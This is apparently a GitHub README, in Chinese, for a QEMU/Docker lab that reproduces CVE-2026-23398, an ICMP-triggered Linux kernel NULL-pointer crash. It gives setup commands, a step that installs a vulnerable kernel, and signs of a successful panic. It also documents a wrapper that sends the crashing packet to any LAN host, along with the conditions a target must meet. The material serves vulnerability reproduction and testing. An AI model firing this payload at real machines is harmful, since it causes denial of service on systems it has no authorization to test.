zpol/cve-2026-23398-poc
GitHub: zpol/cve-2026-23398-poc
这是一个针对 Linux 内核 CVE-2026-23398 漏洞的可复现实验环境,旨在通过 QEMU 虚拟机和 Scapy 脚本验证 ICMP 报文导致内核崩溃的拒绝服务漏洞。
Stars: 1 | Forks: 0
# 实验:CVE-2026-23398 (ICMP / `ip_no_pmtu_disc=3`)
针对 Linux 内核 `icmp_tag_validation()` 中漏洞的可复现实验环境(当 `net.ipv4.ip_no_pmtu_disc = 3` 且到达的 *需要分片* ICMP 报文的被引用内部 IPv4 首部使用的协议号在 `inet_protos[]` 中**没有对应的处理程序**时,发生 NULL 指针解引用)。
**仅限授权使用:**仅限您拥有的系统或已获得明确书面许可进行测试的系统。影响为**拒绝服务**(内核崩溃)。
## 宿主机要求
| 组件 | 用途 |
|-----------|---------|
| **QEMU** (`qemu-system-x86_64`, `qemu-img`) | 受害者虚拟机 |
| **cloud-image-utils** (`cloud-localds`), **wget**, **genisoimage`** | Cloud-init 和镜像下载 |
| **Docker** + **Docker Compose** | 来自宿主机的 ICMP 发送端(`host` 网络模式) |
| **OpenSSH 客户端** | SSH 自动化 |
| 位于 `~/.ssh/id_ed25519.pub` 或 `id_rsa.pub` 的 **SSH 密钥**,*或* **sshpass** | 无需输入密码即可登录 Guest(推荐使用密钥) |
| **sudo** | **仅限 TAP 模式**(从宿主机到虚拟机固定 IP 的 ICMP) |
仅在您不使用 Docker 发送远程载荷时,才需要在宿主机上安装 Python 3 和 Scapy。
## 仓库布局
```
├── send_frag_needed.py # Scapy PoC (ICMP 3,4 + inner IP with uncommon proto)
├── send-payload-to-host.sh # Send payload to an IP/hostname on your network
├── docker-compose.yml # “sender” service (host network + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Disks, cloud-init seeds, QEMU serial logs
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP seed (usernet mode)
├── build-seed.sh # Static 192.168.76.2 seed (TAP mode)
├── vm-start-usernet.sh # QEMU + user networking (SSH port 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (after tap-up.sh)
├── tap-up.sh / tap-down.sh # TAP interface on host (sudo)
├── run-lab-usernet.sh # Full flow: image + VM + Scapy on guest (recent kernel)
├── run-lab.sh # TAP flow + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # Unpatched mainline 6.12 + veth PoC (panic)
└── poc-veth-netns.sh # Run *inside* the guest (veth + netns)
```
## 模式 A — 完整 QEMU 实验环境(用户网络,无 TAP)
QEMU **用户**网络模式**不能**可靠地将源自宿主机的 ICMP 报文传递给 Guest。自动化流程会在**虚拟机**上安装 Scapy 并在那里运行脚本。**当前**的 Ubuntu 内核通常已**打补丁**:您会看到“Sent 1 packets”,但**不会**发生崩溃。
```
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# 第一次运行:下载 Ubuntu Noble cloud image,overlay,seed,启动 QEMU,SSH :2222,apt,PoC
./scripts/run-lab-usernet.sh
```
- **SSH:** `ssh -p 2222 ubuntu@127.0.0.1`(如果您依赖密码认证,密码为 `lablab`)。
- **停止虚拟机:** `./scripts/vm-stop-usernet.sh`
- **串行控制台(panic, oops):** `vm/serial-usernet.log`
## 模式 B — 易受攻击的内核 + 可复现的崩溃
该 CVE 的修复合并于 **2026 年 3 月**。较旧的 **主线**构建版本(例如 **2024 年 11 月**的 **6.12.0**)**不**包含该修复。脚本会在虚拟机中安装这些 `.deb` 包,重启,并使用 **veth + 网络命名空间** 运行 PoC,以便 ICMP 遵循真正的**入口**路径(仅发送到 Guest 自身的回环/接口 IP 是不够的)。
**警告:**这通常会导致**内核崩溃**;SSH 将停止响应。
```
# usernet VM 正在运行(或在 run-lab-usernet 创建它之后)
./scripts/vm-start-usernet.sh # if not already running
./scripts/install-vulnerable-mainline.sh
```
### 如何判断是否成功
| 信号 | **确实**发生了崩溃(易受攻击的 6.12 上预期的现象) | **未**发生崩溃 |
|--------|-----------------------------------------------------|---------------------------|
| “Running PoC …” 之后的 SSH | 挂起或 `Connection timed out` / `Connection reset` | 会话仍然正常;您可以获得 Shell |
| `send_frag_needed.py` 输出 | 在 SSH 掉线之前您应该看到 **`. Sent 1 packets.`**(如果链路立即断开,通常会被截断) | **`Install Scapy: pip install scapy`** → Guest 上缺少 Scapy;ICMP 报文从未发送。重新运行 `install-vulnerable-mainline.sh`(它会安装 `python3-scapy`)或在虚拟机上运行 `sudo apt install -y python3-scapy` 并再次运行 PoC |
| 串行日志 | `tail -f vm/serial-usernet.log` 显示 `Kernel panic`、`icmp_unreach`、`CR2: 0000000000000010` 等。 | 没有崩溃相关行;Guest 继续运行 |
| QEMU 进程 | 进程仍在运行但 Guest 操作系统已死机,直到重启 | Guest 仍在 2222 端口响应 |
**全新磁盘说明:**如果您只运行 `prepare-disk.sh` + `vm-start-usernet.sh`(不运行 `run-lab-usernet.sh`),Guest 可能没有 **python3-scapy**,直到 `install-vulnerable-mainline.sh` 安装它(或者您手动安装)。
**崩溃后 — 干净重置:**
```
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# 可选:重新安装软件包 / 重新运行 install-vulnerable-mainline.sh
```
## 模式 C — 宿主机 → 虚拟机 ICMP (TAP)
Guest 使用 **192.168.76.2**,宿主机在 TAP 上使用 **192.168.76.1**。ICMP 行为与在真实局域网上一样。
```
./scripts/tap-up.sh # sudo: creates icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # static addressing in cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# 在 VM 上:sysctl -w net.ipv4.ip_no_pmtu_disc=3,如果需要 panic 则运行 vulnerable kernel
docker compose build
docker compose run --rm sender 192.168.76.2
```
`./scripts/run-lab.sh` 会链接部分流程(需要 TAP + Docker)。
## 发送载荷到您网络上的机器
便捷封装脚本(解析 **主机名 → IPv4**,优先使用 Docker,否则使用 `sudo` + Python):
```
chmod +x send-payload-to-host.sh
docker compose build # once
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
```
不使用 Docker:
```
sudo pip install scapy # if needed
sudo ./send-payload-to-host.sh 192.168.1.50
```
影响此 CVE 的**目标条件**:
1. Linux 内核**未**包含该修复(或发行版的等效补丁尚未应用)。
2. `net.ipv4.ip_no_pmtu_disc = 3`(强化 PMTU 模式)。
3. 数据包必须通过正常的 IPv4 输入路径**接收**(到达接口的流量)。
如果内核已打补丁或 sysctl 值不为 `3`,您将看不到崩溃;数据包可能仍会在线路上传输。
## 环境变量
| 变量 | 描述 |
|----------|-------------|
| `ICMP_LAB_TAP` | TAP 设备名称(默认 `icmp-lab-tap0`) |
| `ICMP_LAB_HOST_IP` | TAP 上的宿主机地址(默认 `192.168.76.1/24`) |
| `ICMP_LAB_SSH_PORT` | usernet SSH 端口(默认 `2222`) |
| `ICMP_LAB_SSH_HOST` | SSH 主机(默认 `127.0.0.1`) |
## 参考资料
- [CVE-2026-23398 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-23398)
- 修复:`icmp: fix NULL pointer dereference in icmp_tag_validation()`(主线上的提交 `614aefe56af8e`)
- 模式 `3` 的引入:提交 `8ed1dc44d3e9`(*hardened ip_no_pmtu_disc*)
## 快速命令参考
| 目标 | 命令 |
|------|---------|
| 首次运行 usernet 实验环境 | `./scripts/run-lab-usernet.sh` |
| 启动 / 停止 usernet 虚拟机 | `./scripts/vm-start-usernet.sh` / `./scripts/vm-stop-usernet.sh` |
| 易受攻击的内核 + PoC(崩溃) | `./scripts/install-vulnerable-mainline.sh` |
| 崩溃后重置磁盘 | `rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh` |
| 发送载荷到局域网 IP/主机 | `./send-payload-to-host.sh ` |
| 构建 Docker 发送端镜像 | `docker compose build` |
标签:CVE-2026-23398, Docker, ICMP, Linux内核漏洞, PMTU, PoC, QEMU, Scapy, 内核崩溃, 内核驱动, 内联执行, 子域名枚举, 安全测试, 安全渗透, 安全防御评估, 实验环境, 应用安全, 拒绝服务, 攻击性安全, 暴力破解, 漏洞分析, 漏洞复现, 空指针解引用, 系统安全, 网络协议, 网络安全, 虚拟机实验, 请求拦截, 路径探测, 身份验证强制, 逆向工具, 配置错误, 隐私保护